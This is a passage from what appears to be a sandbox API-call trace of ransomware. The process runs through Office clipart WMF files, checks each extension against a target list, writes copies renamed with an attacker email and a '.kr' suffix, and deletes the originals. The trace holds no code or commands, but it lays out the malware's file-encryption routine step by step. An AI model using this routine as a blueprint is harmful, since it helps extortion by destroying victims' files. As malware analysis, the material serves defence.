68 [0187.310] lstrlenW (lpString=".1cd") returned 4 [0187.310] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0187.310] lstrlenW (lpString=".jpg") returned 4 [0187.310] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.310] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0187.310] lstrlenW (lpString="DD01163_.WMF") returned 12 [0187.310] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0187.612] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=2300) returned 1 [0187.612] CloseHandle (hObject=0x4d8) returned 1 [0187.612] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf")) returned 0x220 [0188.143] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0188.143] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0188.144] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0188.144] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0188.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0188.145] GetLastError () returned 0x0 [0188.145] ReadFile (in: hFile=0x4d8, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x8fc, lpOverlapped=0x0) returned 1 [0188.146] WriteFile (in: hFile=0x538, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x900, lpOverlapped=0x0) returned 1 [0188.147] ReadFile (in: hFile=0x4d8, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0188.147] WriteFile (in: hFile=0x538, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0188.147] SetEndOfFile (hFile=0x538) returned 1 [0188.147] CloseHandle (hObject=0x538) returned 1 [0188.147] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0188.147] SetEndOfFile (hFile=0x4d8) returned 1 [0188.150] CloseHandle (hObject=0x4d8) returned 1 [0188.154] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0188.154] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf")) returned 1 [0188.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0188.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0188.155] lstrlenW (lpString=".doc") returned 4 [0188.155] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.155] lstrlenW (lpString=".docx") returned 5 [0188.155] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.155] lstrlenW (lpString=".pdf") returned 4 [0188.155] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.155] lstrlenW (lpString=".xls") returned 4 [0188.155] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.155] lstrlenW (lpString=".xlsx") returned 5 [0188.155] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.155] lstrlenW (lpString=".ppt") returned 4 [0188.155] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0188.155] lstrlenW (lpString=".zip") returned 4 [0188.155] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.155] lstrlenW (lpString=".rar") returned 4 [0188.155] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.155] lstrlenW (lpString=".bz2") returned 4 [0188.155] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.155] lstrlenW (lpString=".7z") returned 3 [0188.155] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0188.155] lstrlenW (lpString=".dbf") returned 4 [0188.155] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0188.155] lstrlenW (lpString=".1cd") returned 4 [0188.155] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0188.155] lstrlenW (lpString=".jpg") returned 4 [0188.155] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0188.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0188.156] lstrlenW (lpString=".doc") returned 4 [0188.156] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.156] lstrlenW (lpString=".docx") returned 5 [0188.156] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.156] lstrlenW (lpString=".pdf") returned 4 [0188.156] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.156] lstrlenW (lpString=".xls") returned 4 [0188.156] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.156] lstrlenW (lpString=".xlsx") returned 5 [0188.156] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.156] lstrlenW (lpString=".ppt") returned 4 [0188.156] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0188.156] lstrlenW (lpString=".zip") returned 4 [0188.156] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.156] lstrlenW (lpString=".rar") returned 4 [0188.156] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.156] lstrlenW (lpString=".bz2") returned 4 [0188.156] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.156] lstrlenW (lpString=".7z") returned 3 [0188.156] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0188.156] lstrlenW (lpString=".dbf") returned 4 [0188.156] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0188.156] lstrlenW (lpString=".1cd") returned 4 [0188.157] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0188.157] lstrlenW (lpString=".jpg") returned 4 [0188.157] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.157] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0188.157] lstrlenW (lpString="DD01166_.WMF") returned 12 [0188.157] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0188.158] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=2080) returned 1 [0188.158] CloseHandle (hObject=0x4d8) returned 1 [0188.158] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf")) returned 0x220 [0188.158] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0188.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0188.158] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0188.159] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0188.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0188.159] GetLastError () returned 0x0 [0188.159] ReadFile (in: hFile=0x4d8, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x820, lpOverlapped=0x0) returned 1 [0188.161] WriteFile (in: hFile=0x538, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x830, lpOverlapped=0x0) returned 1 [0188.162] ReadFile (in: hFile=0x4d8, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0188.162] WriteFile (in: hFile=0x538, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0188.162] SetEndOfFile (hFile=0x538) returned 1 [0188.163] CloseHandle (hObject=0x538) returned 1 [0188.163] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0188.163] SetEndOfFile (hFile=0x4d8) returned 1 [0188.166] CloseHandle (hObject=0x4d8) returned 1 [0188.166] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0188.166] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf")) returned 1 [0188.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0188.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0188.167] lstrlenW (lpString=".doc") returned 4 [0188.167] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.167] lstrlenW (lpString=".docx") returned 5 [0188.167] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.167] lstrlenW (lpString=".pdf") returned 4 [0188.167] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.167] lstrlenW (lpString=".xls") returned 4 [0188.167] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.167] lstrlenW (lpString=".xlsx") returned 5 [0188.167] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.167] lstrlenW (lpString=".ppt") returned 4 [0188.167] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0188.167] lstrlenW (lpString=".zip") returned 4 [0188.167] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.168] lstrlenW (lpString=".rar") returned 4 [0188.168] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.168] lstrlenW (lpString=".bz2") returned 4 [0188.168] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.168] lstrlenW (lpString=".7z") returned 3 [0188.168] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0188.168] lstrlenW (lpString=".dbf") returned 4 [0188.168] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0188.168] lstrlenW (lpString=".1cd") returned 4 [0188.168] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0188.168] lstrlenW (lpString=".jpg") returned 4 [0188.168] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0188.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0188.168] lstrlenW (lpString=".doc") returned 4 [0188.168] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.168] lstrlenW (lpString=".docx") returned 5 [0188.168] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.169] lstrlenW (lpString=".pdf") returned 4 [0188.169] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.169] lstrlenW (lpString=".xls") returned 4 [0188.169] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.169] lstrlenW (lpString=".xlsx") returned 5 [0188.169] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.169] lstrlenW (lpString=".ppt") returned 4 [0188.169] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0188.169] lstrlenW (lpString=".zip") returned 4 [0188.169] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.169] lstrlenW (lpString=".rar") returned 4 [0188.169] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.169] lstrlenW (lpString=".bz2") returned 4 [0188.169] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.169] lstrlenW (lpString=".7z") returned 3 [0188.169] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0188.169] lstrlenW (lpString=".dbf") returned 4 [0188.169] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0188.169] lstrlenW (lpString=".1cd") returned 4 [0188.169] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0188.170] lstrlenW (lpString=".jpg") returned 4 [0188.170] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.170] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0188.170] lstrlenW (lpString="DD01167_.WMF") returned 12 [0188.170] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0188.171] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=2080) returned 1 [0188.171] CloseHandle (hObject=0x4d8) returned 1 [0188.171] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf")) returned 0x220 [0188.171] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0188.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0188.171] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0188.171] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0188.172] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0188.172] GetLastError () returned 0x0 [0188.172] ReadFile (in: hFile=0x4d8, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x820, lpOverlapped=0x0) returned 1 [0188.379] WriteFile (in: hFile=0x538, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x830, lpOverlapped=0x0) returned 1 [0188.379] ReadFile (in: hFile=0x4d8, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0188.380] WriteFile (in: hFile=0x538, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0188.380] SetEndOfFile (hFile=0x538) returned 1 [0188.380] CloseHandle (hObject=0x538) returned 1 [0188.380] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0188.380] SetEndOfFile (hFile=0x4d8) returned 1 [0188.382] CloseHandle (hObject=0x4d8) returned 1 [0188.382] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0188.383] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf")) returned 1 [0188.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0188.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0188.383] lstrlenW (lpString=".doc") returned 4 [0188.383] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.383] lstrlenW (lpString=".docx") returned 5 [0188.383] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.383] lstrlenW (lpString=".pdf") returned 4 [0188.383] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.383] lstrlenW (lpString=".xls") returned 4 [0188.383] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.383] lstrlenW (lpString=".xlsx") returned 5 [0188.383] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.383] lstrlenW (lpString=".ppt") returned 4 [0188.383] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0188.383] lstrlenW (lpString=".zip") returned 4 [0188.384] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.384] lstrlenW (lpString=".rar") returned 4 [0188.384] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.384] lstrlenW (lpString=".bz2") returned 4 [0188.384] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.384] lstrlenW (lpString=".7z") returned 3 [0188.384] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0188.384] lstrlenW (lpString=".dbf") returned 4 [0188.384] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0188.384] lstrlenW (lpString=".1cd") returned 4 [0188.384] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0188.384] lstrlenW (lpString=".jpg") returned 4 [0188.384] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0188.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0188.384] lstrlenW (lpString=".doc") returned 4 [0188.384] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.384] lstrlenW (lpString=".docx") returned 5 [0188.384] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.384] lstrlenW (lpString=".pdf") returned 4 [0188.384] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.384] lstrlenW (lpString=".xls") returned 4 [0188.384] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.384] lstrlenW (lpString=".xlsx") returned 5 [0188.384] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.384] lstrlenW (lpString=".ppt") returned 4 [0188.384] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0188.384] lstrlenW (lpString=".zip") returned 4 [0188.384] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.384] lstrlenW (lpString=".rar") returned 4 [0188.385] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.385] lstrlenW (lpString=".bz2") returned 4 [0188.385] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.385] lstrlenW (lpString=".7z") returned 3 [0188.385] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0188.385] lstrlenW (lpString=".dbf") returned 4 [0188.385] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0188.385] lstrlenW (lpString=".1cd") returned 4 [0188.385] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0188.385] lstrlenW (lpString=".jpg") returned 4 [0188.385] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.385] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0188.385] 